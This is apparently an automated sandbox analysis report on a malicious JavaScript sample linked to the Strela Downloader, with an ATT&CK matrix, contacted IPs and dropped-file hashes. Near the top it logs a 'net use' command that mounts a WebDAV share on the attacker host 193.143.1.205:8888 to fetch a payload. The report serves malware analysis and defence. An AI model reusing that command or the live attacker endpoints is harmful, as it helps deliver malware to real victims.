Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1713990941768710675.js	3%	Virustotal		Browse
1713990941768710675.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/space	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
241.42.69.40.in-addr.arpa	unknown	unknown	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3341591378.00000264A2091000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2119294814.00000264A1DB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2118241566.000002EDC9CB2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117553734.000002EDC9CC1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117978230.000002EDC9C88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2118241566.000002EDC9CDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117553734.000002EDC9CB2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117488117.000002EDC9CDB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2118241566.000002EDC9CC1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000007.00000002.2117978230.000002EDC9C88000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588008
Start date and time:	2025-01-10 20:28:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1713990941768710675.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 54.224.241.105, 50.16.47.176, 34.237.241.83, 18.213.11.84, 172.64.41.3, 162.159.61.3, 2.23.242.162, 88.221.110.91, 2.16.100.168, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 172.202.163.200, 23.56.162.204, 40.69.42.241, 20.12.23.50
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:29:23	API Interceptor	25x Sleep call for process: powershell.exe modified
14:29:27	API Interceptor	1x Sleep call for process: net.exe modified
14:29:27	API Interceptor	2x Sleep call for process: svchost.exe modified
14:29:40	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1340465372044024725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1053816775239920795.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1794629123897518052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4779230781910419613.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307086384766471
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugK:gJjJGtpTq2yv1AuNZRY3diu8iBVqFo
MD5:	D17E648F9EFE36B8EA2C75ECA9871CAA
SHA1:	498681188DA19D5AEA263818D3BC448DAEB36684
SHA-256:	0CCAD50E942E5DBEDB3E48921E467AD1A49EBADAE51A6FE689187A9E2931FC22
SHA-512:	11D0358CA05EE1743719315439EED4986D991DC84E9240054D6239AAA731770320846DD4B64E96B04C87EDBFB1C783F0E9585B37B73D375A42AC47AE173F002B
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5c11d96a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585787021821286
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	2379C46BA69472A3B2596EE17915283C
SHA1:	B354C70663BDEE4FFFBB53F02BA4555998AE75C6
SHA-256:	FBA04E18421185B5FE9E873AF2A9FE46A667458741E5447923B38C738A76B2C6
SHA-512:	4F5F20E4371CA438BC23D402232FFE769B28E3D2C27DF8D133FB7143C9F8253AAFAA30290A2526AA5F1DB1FB3AE0B59E28C00EF4CEC1BDCAD5B8EE95DC67F253
Malicious:	false
Preview:	\..j... ...............X\...;...{......................0.z..........{.......}S.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................<......}q.................:.g.....}S..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08133058690185217
Encrypted:	false
SSDEEP:	3:vLaW8YeOrQvwGGuAJkhvekl1NC5EvltAllrekGltll/SPj:TqzxvzrxlS5EvltAJe3l
MD5:	B3C28CB467986F2E9381F8827C0A5DE1
SHA1:	E9A11F8AF07DFB52E52F2BCCF5082846F119A901
SHA-256:	0EBF4A0111CB93EAFEF46482BC16127D1DF9B4411210442C50131BB1A5A705AB
SHA-512:	EEB2925ACA1A45CDF3802F971A28455C3C91FB7EF4CC5E445771035D47D6304324BAA063D371C9BD21E194CF693CC731F30C13D69A36778AE86C5641CB72B788
Malicious:	false
Preview:	.3.......................................;...{.......}S......{...............{.......{...XL......{..................:.g.....}S.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.213646077013188
Encrypted:	false
SSDEEP:	6:iO4jtQo+q2P92nKuAl9OmbnIFUtSjt2YZmwsjt2oVkwO92nKuAl9OmbjLJ:7ItQ9v4HAahFUtytd/stv5LHAaSJ
MD5:	1850E1FC360FD61BF897DBE27847F76C
SHA1:	DECA5BD551C676C780CAC459B0D60AEE6ADC053F
SHA-256:	5FB4736BEFF4FBF2636A7C9EA2D7F7BE8A34F46ADAA2311C528B24C167A5E25E
SHA-512:	D390C37C27F2AEC36A854FADD8A1E3685AD9C0D3142923824B9514ED2DA1BBA61988062FD3A65FF378E7EBEE76BB6824AC54BAB807AFE466A874F332CB49AB41
Malicious:	false
Preview:	2025/01/10-14:29:27.995 19c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:29:27.997 19c8 Recovering log #3.2025/01/10-14:29:27.997 19c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.213646077013188
Encrypted:	false
SSDEEP:	6:iO4jtQo+q2P92nKuAl9OmbnIFUtSjt2YZmwsjt2oVkwO92nKuAl9OmbjLJ:7ItQ9v4HAahFUtytd/stv5LHAaSJ
MD5:	1850E1FC360FD61BF897DBE27847F76C
SHA1:	DECA5BD551C676C780CAC459B0D60AEE6ADC053F
SHA-256:	5FB4736BEFF4FBF2636A7C9EA2D7F7BE8A34F46ADAA2311C528B24C167A5E25E
SHA-512:	D390C37C27F2AEC36A854FADD8A1E3685AD9C0D3142923824B9514ED2DA1BBA61988062FD3A65FF378E7EBEE76BB6824AC54BAB807AFE466A874F332CB49AB41
Malicious:	false
Preview:	2025/01/10-14:29:27.995 19c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:29:27.997 19c8 Recovering log #3.2025/01/10-14:29:27.997 19c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.18305123964252
Encrypted:	false
SSDEEP:	6:iO4QFMM+q2P92nKuAl9Ombzo2jMGIFUtSQ2GXZmwsQ2GqMVkwO92nKuAl9Ombzos:7PMM+v4HAa8uFUt1X/PqMV5LHAa8RJ
MD5:	F6211A752F0FCAF6FAFB181AC8E337DF
SHA1:	22A975286599029A619542CDD5FDF512E391491A
SHA-256:	BA1D201DCAD6FA84565FBC9502252DDA82FED5953713CBC9838B0AD3AD3048BE
SHA-512:	1D46D6DE9BCFB6EE7C5EBE4F1C0D66C932A69930FDC343B33756A1098C60E98B5288D9E9C60B75BC1BE1C8AE3CD0983769620CEB55B7D95936E48857B28DF09F
Malicious:	false
Preview:	2025/01/10-14:29:28.146 4fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:29:28.148 4fc Recovering log #3.2025/01/10-14:29:28.148 4fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.18305123964252
Encrypted:	false
SSDEEP:	6:iO4QFMM+q2P92nKuAl9Ombzo2jMGIFUtSQ2GXZmwsQ2GqMVkwO92nKuAl9Ombzos:7PMM+v4HAa8uFUt1X/PqMV5LHAa8RJ
MD5:	F6211A752F0FCAF6FAFB181AC8E337DF
SHA1:	22A975286599029A619542CDD5FDF512E391491A
SHA-256:	BA1D201DCAD6FA84565FBC9502252DDA82FED5953713CBC9838B0AD3AD3048BE
SHA-512:	1D46D6DE9BCFB6EE7C5EBE4F1C0D66C932A69930FDC343B33756A1098C60E98B5288D9E9C60B75BC1BE1C8AE3CD0983769620CEB55B7D95936E48857B28DF09F
Malicious:	false
Preview:	2025/01/10-14:29:28.146 4fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:29:28.148 4fc Recovering log #3.2025/01/10-14:29:28.148 4fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\39bace6c-fec8-474d-aad1-6ba486d288a0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0591518504624045
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGfEsBdOg2Hv2caq3QYiubxnP7E4T3OF+:Y2sRdsDRdMHvJ3QYhbxP7nbI+
MD5:	E87A7F4C0A7484C53D77DB2A60B0FF79
SHA1:	084301A8C3F639AD46A63B65D682A19FD05AF3CA
SHA-256:	7B014574733066EFCAA87E20D55C1D4156EBDC237E47C101404E5BE381433860
SHA-512:	F378A367398A4C9017001F07F6D8803BDEB29AFE7A116070599A3D793BDB4E3644862343F1BC03930D5FE0BF8F5285A6D5FEED59AAFE8D896810FE5C369EE460
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381097380359700","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128498},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0591518504624045
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGfEsBdOg2Hv2caq3QYiubxnP7E4T3OF+:Y2sRdsDRdMHvJ3QYhbxP7nbI+
MD5:	E87A7F4C0A7484C53D77DB2A60B0FF79
SHA1:	084301A8C3F639AD46A63B65D682A19FD05AF3CA
SHA-256:	7B014574733066EFCAA87E20D55C1D4156EBDC237E47C101404E5BE381433860
SHA-512:	F378A367398A4C9017001F07F6D8803BDEB29AFE7A116070599A3D793BDB4E3644862343F1BC03930D5FE0BF8F5285A6D5FEED59AAFE8D896810FE5C369EE460
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381097380359700","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128498},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231546771699932
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLULkT5Pl:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLJ
MD5:	F3B81CA3109D6855BB8C2041A280C1DC
SHA1:	F6B6A2C9DD7DC92205D549600A9DCD000943D3A7
SHA-256:	D01EB4183D42F3C48CF846AAA9C0685D010D48FB52E7370300F3B2925997208B
SHA-512:	74D8D4A600BD6D649EC12EA8BE1E8EF8067557C6296B181A9A80D9162CCF10DE49537BC49742BA2E60CEE2E574D72EEC70A80AA7107F4AC3823F0C89240406DE
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.222871352160538
Encrypted:	false
SSDEEP:	6:iO4QUqM+q2P92nKuAl9OmbzNMxIFUtSQqqZmwsQq1MVkwO92nKuAl9OmbzNMFLJ:7xM+v4HAa8jFUteq/I1MV5LHAa84J
MD5:	7FE3CA88048D9169E3C491F034824A90
SHA1:	7D128FEC73F5ED4CA1DC0FB3DCE8FF87B089F895
SHA-256:	B63BAFF3D9204A9B6C9E39EC3451348CC021CEC508D8C6A088D4ED9F3C711A17
SHA-512:	6FC3004B4A193B567D6563AEA99AF368C4DE877AD31D41EF87AFCB9B43637C425161DDCCB2DC783C3BC3DDFC5098CE7C556FE09CCBDBF907B80DCABBFBAFBE7F
Malicious:	false
Preview:	2025/01/10-14:29:28.769 4fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:29:28.771 4fc Recovering log #3.2025/01/10-14:29:28.771 4fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.222871352160538
Encrypted:	false
SSDEEP:	6:iO4QUqM+q2P92nKuAl9OmbzNMxIFUtSQqqZmwsQq1MVkwO92nKuAl9OmbzNMFLJ:7xM+v4HAa8jFUteq/I1MV5LHAa84J
MD5:	7FE3CA88048D9169E3C491F034824A90
SHA1:	7D128FEC73F5ED4CA1DC0FB3DCE8FF87B089F895
SHA-256:	B63BAFF3D9204A9B6C9E39EC3451348CC021CEC508D8C6A088D4ED9F3C711A17
SHA-512:	6FC3004B4A193B567D6563AEA99AF368C4DE877AD31D41EF87AFCB9B43637C425161DDCCB2DC783C3BC3DDFC5098CE7C556FE09CCBDBF907B80DCABBFBAFBE7F
Malicious:	false
Preview:	2025/01/10-14:29:28.769 4fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:29:28.771 4fc Recovering log #3.2025/01/10-14:29:28.771 4fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
